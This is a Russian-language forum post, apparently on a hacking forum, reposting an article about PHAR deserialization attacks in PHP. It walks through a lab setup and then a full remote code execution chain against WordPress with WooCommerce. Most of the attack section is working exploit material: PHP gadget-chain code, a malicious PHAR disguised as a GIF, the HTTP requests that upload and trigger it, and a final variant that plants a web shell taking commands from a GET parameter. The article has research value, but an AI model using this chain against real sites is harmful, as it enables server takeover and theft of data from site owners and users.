• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Опасный PHAR. Эксплуатируем проблемы десериализации в PHP на примере уязвимости в WordPress

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Опасный PHAR. Эксплуатируем проблемы десериализации в PHP на примере уязвимости в WordPress

В этой статье мы поговорим об особенностях уязвимостей десериализации данных в PHP, причем не простых, а реализуемых при помощи файлов архивов PHP — PHAR. Эта техника атаки может использовать безобидные, казалось бы, функции как опасные орудия эксплуатации. И превратить, например, SSRF в выполнение произвольного кода.
Пристальное внимание эта атака привлекла совсем недавно, поэтому существует огромное количество потенциально уязвимых приложений. Что касается уязвимости в WordPress, то о ней разработчикам сообщили аж в феврале 2017 года, но до сих пор никакого фикса они не выпустили.


Предыстория атаки
О возможности такой атаки начали много говорить после доклада Сэма Томаса (Sam Thomas) из Secarma на недавно прошедшем Black Hat USA 2018. Историю подхватили СМИ, и понеслось.


Хотя первые звоночки можно было заметить еще в багтрекере PHP в 2015 году. Тогда был создан тикет, в котором описывалась проблема чтения памяти за пределами выделенного буфера (buffer over-read) при десериализации метаданных архива PHAR.

Помимо этого, в 2017 году на HITCON CTF Quals в таске известного безопасника Orange Tsaiпод названием Baby^H Master PHP 2017 одним из пунктов правильного решения значилась эксплуатация этой особенности поведения PHP при работе с архивами PHAR.

Итак, сама идея не нова, а лишь недавно была раскручена и использована для проведения атак на реально существующие приложения. Пришло время пощупать все своими руками!


Стенд
Нет ничего проще, чем стенд с PHP. Чтобы не заморачиваться, можно взять из репозитория Docker любой контейнер приложения, написанного на этом языке. Мы планируем атаковать WordPress, так что его и возьмем.
Код:
$ docker run -it --rm -p80:80 --name=wprce --hostname=wprce debian /bin/bash
После запуска контейнера устанавливаем нужные утилиты.

Код:
$ apt-get update && apt-get install -y mysql-server apache2 php php7.0-mysqli php7.0-xml nano wget
Затем скачиваем нужную версию WordPress. Фикса на данный момент до сих пор нет, так что можно скачивать любую.
Код:
$ cd /tmp && wget https://wordpress.org/wordpress-4.9.8.tar.gz
$ tar xzf wordpress-4.9.8.tar.gz
$ rm -rf /var/www/html/* && mv wordpress/* /var/www/html/
$ chown -R www-data:www-data /var/www/html/
Запускаем необходимые сервисы и создаем юзера и базу данных.
Код:
$ service mysql start && service apache2 start
$ mysql -u root -e "CREATE DATABASE wprce; GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' IDENTIFIED BY 'megapass';"

wp-installing.jpg


Осталось только установить расширение Woocommerce, создать пользователя с правами автора, и стенд готов к экспериментам.


Немного о PHAR
PHAR — это PHP Archive, специально сформированный архив, который может быть обработан и исполнен интерпретатором PHP. За это отвечает одноименный модуль PHAR, который входит в стандартную поставку PHP начиная с версии 5.3. Архивы PHAR были введены как удобный способ группировки и доставки файлов PHP. Можно упаковать целое приложение и все еще иметь возможность запустить его прямо из этого файла. При этом его не нужно даже распаковывать на диск. Так, например, поставляется менеджер модулей PEAR или всем известный composer.

composer-just-a-phar-package.jpg

Composer поставляется как единый файл PHAR

Для создания файлов PHAR можно использовать сам интерпретатор PHP.

create-phar.php
PHP:
1: <?php
2: @unlink("test.phar");
3: $phar = new Phar("test.phar");
4: $phar["helloworld.php"] = '<?php echo("Hello World!");';
Чтобы иметь возможность создавать архивы, нужно запустить репозиторий с отключенной настройкой phar.readonly.
PHP:
$ php -dphar.readonly=0 create-phar.php

phar-test-file-create.jpg

Создание тестового файла PHAR

По дефолту сжатие не используется.

Если мы попытаемся выполнить полученный файл, то интерпретатор вернет ошибку.

try-to-execute-test-phar.jpg

Попытка выполнить созданный тестовый файл PHAR номер раз

При простом обращении к файлу модуль пытается прочитать index.php. Так как этого файла в нашем архиве нет, возникает ошибка. Если мы немного дополним тестовый скрипт, то получим архив, который будет отрабатывать при прямом обращении к нему.

create-phar.php
PHP:
1: <?php
2: @unlink("test.phar");
3: $phar = new Phar("test.phar");
4: $phar["helloworld.php"] = '<?php echo("Hello World!");';
5: $phar["index.php"] = '<?php echo("Hello from index!");';

try-to-execute-test-phar-2.jpg

Попытка выполнить созданный тестовый файл PHAR номер два

Любые архивы PHAR одинаково легко вызываются как непосредственно из командной строки, так и через веб-сервер. Модуль реализует эту функцию с помощью потоков. Чтобы вызывать какие-то конкретные скрипты из контейнера, существует враппер phar://.

exec-internal.php
PHP:
1: <?php
2: include('phar://test.phar/helloworld.php');
Результатом выполнения будет строка Hello World!.

Что касается формата файла, то его описание можно найти в официальной документации, в том числе и на русском. Любой уважающий себя файл PHAR включает в себя заглушку, манифест, содержимое и подпись.

Пара слов о заглушке (stub). Она, как правило, содержит загрузчик, который выполняется при прямом запуске архива или когда его подключают через include без указания конкретного файла внутри.

По дефолту там находится обычный код на PHP, который после нескольких манипуляций инклудит index.php. Но никто не мешает нам указать собственный лоадер. Это можно сделать, используя метод Phar::setStub(). В качестве его параметра указываем код.

Последней структурой в заглушке всегда должна идти __HALT_COMPILER();. То есть минимально возможный код выглядит так:
PHP:
<?php __HALT_COMPILER();
Запомним, так как это пригодится нам чуть дальше.

Теперь нас интересует манифест, который содержит ключевую информацию о том, что включено в архив PHAR. Его структура выглядит следующим образом.

phar-manifest-structure.jpg

Структура манифеста PHAR-архива

Обрати внимание на раздел метаданных, они хранятся в формате serialize и могут быть как глобальными, так и привязанными к конкретному файлу. Установить глобальные метаданные можно при помощи метода Phar::setMetadata. В качестве аргумента можно передать любую переменную PHP.

test-metadata.php
PHP:
1: <?php
2: @unlink('test.phar');
3: $p = new Phar(dirname(__FILE__) . '/test.phar', 0);
4: $p['file.php'] = '<?php echo("Hello World!");';
5: $p->setMetadata(['anything' => 'you_want']);
6: var_dump($p->getMetadata());
Разумеется, можно передавать и экземпляры классов, благо формат предусматривает их сохранение. Давай попробуем сохранить в качестве метаданных класс, который содержит деструктор.
PHP:
01: <?php
02: @unlink('test.phar');
03: class Destructor {
04:     function __destruct() {
05:         echo "It's alive!";
06:     }
07: }
08: $p = new Phar(dirname(__FILE__) . '/test.phar', 0);
09: $p['file.php'] = '<?php echo("Hello World!");';
10: $p->setMetadata(new Destructor());
Воспользуемся кастомной заглушкой, чтобы иметь возможность выполнить файл PHAR без ошибок.

test-metadata-class-stub.php
PHP:
01: <?php
02: @unlink('test.phar');
03: class Destructor {
04:     function __destruct() {
05:         echo "It's alive!";
06:     }
07: }
08: $p = new Phar(dirname(__FILE__) . '/test.phar', 0);
09: $p['file.php'] = '<?php echo("Hello World!");';
10: $p->setMetadata(new Destructor());
11: $p->setStub('<?php __HALT_COMPILER();');

create-phar-with-metadata.jpg

Создание архива PHAR с объектом в качестве метаданных

Заглушка может содержать любой текст, в том числе и не код на PHP. Главное, чтобы в нем присутствовала указанная выше конструкция. А благодаря тому, что stub располагается в начале файла, можно обходить всяческие проверки и «превращать» архивы PHAR в файлы любого типа.

test-metadata-class-gif-stub.php
PHP:
01: <?php
02: @unlink('test.phar');
03: class Destructor {
04:     function __destruct() {
05:         echo "It's alive!";
06:     }
07: }
08: $p = new Phar(dirname(__FILE__) . '/test.phar', 0);
09: $p->setMetadata(new Destructor());
10: $p->setStub('GIF89a<?php __HALT_COMPILER();');
create-phar-with-custom-stub.jpg

Создание архива PHAR с заголовком GIF в качестве заглушки

Теперь, если просто попробовать вызвать полученный архив (например, через file_get_contents), код внутри деструктора отработает. Конечно же, на момент вызова класс должен быть проинициализирован.

call-phar.php
PHP:
1: <?php
2: class Destructor {
3:     function __destruct() {
4:         echo "It's alive!";
5:     }
6: }
7: file_get_contents("phar://test.phar");
call-destructor-while-read-phar.jpg

Выполнение кода деструктора при чтении архива PHAR

То есть при наличии метаданных выполняется их десериализация, что подтверждают сорцыPHP.

/php-src/master/ext/phar/phar.c
Код:
607: int phar_parse_metadata(char **buffer, zval *metadata, uint32_t zip_metadata_len) /* {{{ */
608: {
609:    php_unserialize_data_t var_hash;
610:
611:    if (zip_metadata_len) {
...
616:        PHP_VAR_UNSERIALIZE_INIT(var_hash);
617:
618:        if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {
Благодаря такому поведению мы имеем возможность проводить атаки типа «внедрение объектов PHP» (PHP Object Injection). Причем такое же поведение наблюдается при работе совсем безобидных на первый взгляд функций, вроде is_file.

is-file-on-phar-calls-destructor.jpg

Выполнение кода из деструктора при доступе к архиву PHAR при помощи is_file

В общем, подойдет большинство функций для работы с файловой системой и некоторые другие, работающие с потоками. Вот список наиболее интересных:
  • file
  • file_exists
  • file_get_contents
  • filesize
  • fopen
  • getimagesize
  • is_dir
  • is_file
  • is_readable
  • is_writable
  • stat
К сожалению, враппер PHAR не позволяет подгружать файлы с удаленных машин, но зато это отлично работает даже в тех конфигурациях, где параметры allow_url_fopen и allow_url_include отключены.

Теперь, когда мы знаем потенциальный вектор атаки, можно переходить от синтетических примеров к реальным.


RCE в WordPress через Woocommerce
Эксплуатация уязвимостей типа PHP Object Injection уже неоднократно разбиралась, в том числе и в моей статье об уязвимости в Processmaker. Вкратце: нам нужно найти цепочку гаджетов, то есть классов, в магических методах (__destruct, __wakeup, __toString и подобных), в которых происходит что-нибудь интересное. Например, при десериализации класса ниже мы сможем записать данные в любой файл.
PHP:
class DumbWakeUp {
...
    function __wakeup() {
        file_put_contents($this->file, $this->data);
    }
}
Но это все абстракции, в реальных приложениях порой сложно найти что-нибудь более-менее полезное с точки зрения возможной эксплуатации.

В вышедших до ноября 2017-го версиях WordPress существовала цепочка, которая начиналась с одного метода __toString в классе WP_Theme и заканчивалась вызовом create_function из Translations::make_plural_form_function с контролируемыми параметрами. Но в текущих версиях такой роскоши в ядре пока не нашлось. Автолоадер классов WordPress тоже не использует, поэтому существует возможность использовать только те классы, которые были загружены на момент десериализации. Ввиду сложившихся обстоятельств нам придется обратиться к плагинам.

Woocommerce — популярнейшее расширение для создания магазина на основе WordPress. В нем и обнаружилась возможность эксплуатации этой уязвимости, которая приводит к выполнению произвольного кода.

Взглянем на метод current класса Requests_Utility_FilteredIterator из ядра WordPress.

/wordpress-4.9.8/wp-includes/Requests/Utility/FilteredIterator.php
PHP:
15: class Requests_Utility_FilteredIterator extends ArrayIterator {
16:     /**
17:      * Callback to run as a filter
18:      *
19:      * @var callable
20:      */
21:     protected $callback;
...
40:     public function current() {
41:         $value = parent::current();
42:         $value = call_user_func($this->callback, $value);
43:         return $value;
44:     }
Он выполняется при доступе к текущему элементу массива, например при их переборе через foreach.

test-arrayiterator.php
PHP:
01: <?php
02: class Requests_Utility_FilteredIterator extends ArrayIterator {
03:     public function __construct($data) {
04:         parent::__construct($data);
05:     }
06:     public function current() {
07:         $value = parent::current();
08:         var_dump($value);
09:         return $value;
10:     }
11: }
12: $o = new Requests_Utility_FilteredIterator(['random', 'array', 'elements']);
13: foreach ($o as $value) {
14: }

arrayiterator-current-method-call.jpg

Вызов метода current при переборе через foreach экземпляра класса ArrayIterator

Если теперь найти такой класс, который в одном из «волшебных» методов выполняет перебор контролируемой юзером переменной через foreach, то можно выполнить произвольный код. И такой класс, как ты понимаешь, нашелся в Woocommerce.

/woocommerce-3.4.4/includes/log-handlers/class-wc-log-handler-file.php
PHP:
19: class WC_Log_Handler_File extends WC_Log_Handler {
...
26:     protected $handles = array();
...
65:     public function __destruct() {
66:         foreach ( $this->handles as $handle ) {
67:             if ( is_resource( $handle ) ) {
68:                 fclose( $handle ); // @codingStandardsIgnoreLine.
69:             }
70:         }
71:     }
Быстренько накидаем скрипт, который сгенерирует требуемую цепочку гаджетов для выполнения RCE.

woocommerce-rce-gadget.php
PHP:
01: <?php
02: class Requests_Utility_FilteredIterator extends ArrayIterator {
03:     protected $callback;
04:     public function __construct($data, $callback) {
05:         parent::__construct($data);
06:         $this->callback = $callback;
07:     }
08: }
09: class WC_Log_Handler_File {
10:     protected $handles;
11:     public function __construct() {
12:         $this->handles = new Requests_Utility_FilteredIterator(array('uname -a'), 'system');
13:     }
14: }
15: $o = new WC_Log_Handler_File();
16: var_dump(serialize($o));
woocommerce-rce-gadget.jpg

Сгенерированный гаджет для эксплуатации WordPress через Woocommerce

В качестве пейлоада я использовал system('uname -a'). Теперь его нужно как-то доставить на целевую систему. Отлично подойдет менеджер медиафайлов в WP. Кладем наш гаджет в метаданные архива и в качестве стаба указываем стандартный заголовок GIF.

wc-rce-gadget-to-phar.php
PHP:
01: <?php
02: class Requests_Utility_FilteredIterator extends ArrayIterator {
03:     protected $callback;
04:     public function __construct($data, $callback) {
05:         parent::__construct($data);
06:         $this->callback = $callback;
07:     }
08: }
09: class WC_Log_Handler_File {
10:     protected $handles;
11:     public function __construct() {
12:         $this->handles = new Requests_Utility_FilteredIterator(array('uname -a'), 'system');
13:     }
14: }
15: @unlink('rce.phar');
16: $p = new Phar(dirname(__FILE__) . '/rce.phar', 0);
17: $p->setMetadata(new WC_Log_Handler_File());
18: $p->setStub('GIF89a<?php __HALT_COMPILER();');
19: $p['any'] = '';

generate-evil-phar-file.jpg

Создаем PHAR с полезной нагрузкой и заголовком GIF

Добавляем как минимум один файл в архив (строчка 19). Некоторые функции чувствительны к этому, и у меня никак не хотел отрабатывать сплоит, пока я не добавил в мой PHAR пустой файл. Меняем расширение файла с .phar на .gif и загружаем файлы в WordPress. Это можно сделать как через панель управления, так и через XML-RPC. По дефолту загрузка доступна только пользователям с правами автора и выше.

wordpress-upload-evil-img.jpg

Загрузка PHAR в WordPress под видом гифки

Запоминаем ID и путь до загруженного файла. Дальше нужно каким-то образом вызвать файл через враппер phar. Посмотрим на функцию wp_get_attachment_thumb_file.

/wordpress-4.9.8/wp-includes/post.php
PHP:
5334: function wp_get_attachment_thumb_file( $post_id = 0 ) {
5335:   $post_id = (int) $post_id;
5336:   if ( !$post = get_post( $post_id ) )
5337:       return false;
5338:   if ( !is_array( $imagedata = wp_get_attachment_metadata( $post->ID ) ) )
5339:       return false;
5340:
5341:   $file = get_attached_file( $post->ID );
5342:
5343:   if ( !empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile) ) {
Она доступна через интерфейс XML-RPC при вызове метода wp.getMediaItem.
PHP:
POST /xmlrpc.php HTTP/1.1
Host: wprce.vh
Content-Type: text/xml
Connection: close
<?xml version="1.0" encoding="utf-8"?>
<methodCall>
  <methodName>wp.getMediaItem</methodName>
  <params>
    <param>
      <value>
        <int>1</int>
      </value>
    </param>
    <param>
      <value>
        <string>author</string>
      </value>
    </param>
    <param>
      <value>
        <string>author</string>
      </value>
    </param>
    <param>
      <value>
        <int>10</int>
      </value>
    </param>
  </params>
</methodCall>

wp-xmlrpc-getmediaitem-request.jpg

Запрос информации о загруженном файле через интерфейс XML-RPC с помощью метода wp.getMediaItem

Здесь переменная $thumbfile попадает в file_exists, которая понимает потоки. Помимо этого, $thumbfile зависит от $imagedata['thumb'] и $file. Если результат работы basename($file) будет равен самой переменной $file, тогда $thumbfile примет значение $imagedata['thumb'], а ее мы можем полностью контролировать при помощи запроса.

Посмотрим, откуда растут ноги переменной $file.

/wordpress-4.9.8/wp-includes/post.php
PHP:
331: function get_attached_file( $attachment_id, $unfiltered = false ) {
332:    $file = get_post_meta( $attachment_id, '_wp_attached_file', true );
333:
334:    // If the file is relative, prepend upload dir
335:    if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
336:        $file = $uploads['basedir'] . "/$file";
337:    }
Она берется из метаданных загруженного файла, из поля _wp_attached_file, которое мы также можем изменять при помощи запроса на редактирование аттача. Для этого нужен валидный CSRF-токен _wpnonce, который можно взять из менеджера файлов WordPress. Интересующий нас параметр называется file.
Код:
POST /wp-admin/post.php HTTP/1.1
Host: wprce.vh
Content-Type: application/x-www-form-urlencoded
Cookie: cookies

_wpnonce=ffffffff&post_type=attachment&post_ID=10&file=ANYTHING

wp-edit-attach-metadata.jpg

Запрос на редактирование поля _wp_attached_file в метаданных аттача WordPress
wp-edited-attach-info.jpg

Информация об аттаче после изменения _wp_attached_file

Взгляни на проверку ! preg_match( '|^.:\\\|', $file ). Ее можно обойти, используя абсолютные пути в стиле Windows. Если мы укажем A:\A в качестве параметра file, то условие не будет выполнено и переменная запишется в базу как есть, без префикса абсолютного пути до директории uploads.

Код:
POST /wp-admin/post.php HTTP/1.1
Host: wprce.vh
Content-Type: application/x-www-form-urlencoded
Cookie: cookies

_wpnonce=ffffffff&post_type=attachment&post_ID=10&file=A:\A
Разумеется, это сработает только в Unix-подобных системах, в Windows поведение будет корректным.

difference-between-basename.jpg

Различное поведение basename в Linux и Windows

Дальше нам нужно обновить поле thumbnail. Это делается с помощью следующего запроса.
Код:
POST /wp-admin/post.php HTTP/1.1
Host: wprce.vh
Content-Type: application/x-www-form-urlencoded
Cookie: cookie

_wpnonce=ffffffff&action=editattachment&post_type=attachment&post_ID=10&thumb=TEST
Я добавил отладчик в функцию wp_get_attachment_thumb_file для просмотра интересующих данных.

debug-getmediaitem-request.jpg

Состояние переменных после изменения метаданных загруженного файла

Ура-ура. Теперь то, что мы передадим в параметре thumb, будет попадать в функцию file_exists. Мы на финишной прямой. Передаем путь до нашей гифки с оберткой PHAR.
Код:
POST /wp-admin/post.php HTTP/1.1
Host: wprce.vh
Content-Type: application/x-www-form-urlencoded
Cookie: cookie

_wpnonce=ffffffff&action=editattachment&post_type=attachment&post_ID=10&thumb=phar://./wp-content/uploads/2018/08/rce.gif

wordpress-rce-through-phar-wrapper.jpg

Выполнение произвольного кода в WordPress с помощью архива PHAR

Вуаля! Видим результат выполнения uname -a. А если слегка изменить код эксплоита, то можно выполнять код немного проще.
PHP:
01: <?php
02: class Requests_Utility_FilteredIterator extends ArrayIterator {
03:     protected $callback;
04:     public function __construct($data, $callback) {
05:         parent::__construct($data);
06:         $this->callback = $callback;
07:     }
08: }
09: class WC_Log_Handler_File {
10:     protected $handles;
11:     public function __construct() {
12:         $this->handles = new Requests_Utility_FilteredIterator(['system($_GET["cmd"])'], 'assert');
13:     }
14: }
15: @unlink('rce.phar');
16: $p = new Phar(dirname(__FILE__) . '/rce.phar', 0);
17: $p->setMetadata(new WC_Log_Handler_File());
18: $p->setStub('GIF89a<?php __HALT_COMPILER();');
19: $p['any'] = '';

wordpress-rce.jpg

RCE в WordPress

Вот так можно проэксплуатировать уязвимость.


Демонстрация уязвимости (видео)



Выводы
Здесь я рассмотрел только одну атаку, которая касалась CMS WordPress. В докладе Сэма Томаса ты можешь найти детали о еще двух уязвимых приложениях. Первое из них — CMS с открытым исходным кодом TYPO3. Второе — библиотека TCPDF, которая повсеместно используется для формирования PDF-документов средствами PHP. Рассмотрена эксплуатация на основе CMS Contao.

В обоих случаях применяется похожий вектор атаки — загрузка файла через менеджер и последующий его вызов через SSRF. В качестве гаджета используется цепочка, которая была сгенерирована утилитой PHPGGC. Тулза написана автором презентации и крайне рекомендуется к использованию. Можно дописать свои модули с гаджетами.

Думаю, что популяризация этого вектора в ближайшее время аукнется нам интересными уязвимостями во многих приложениях на PHP. Что ж, будем ждать!


Автор: aLLy
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх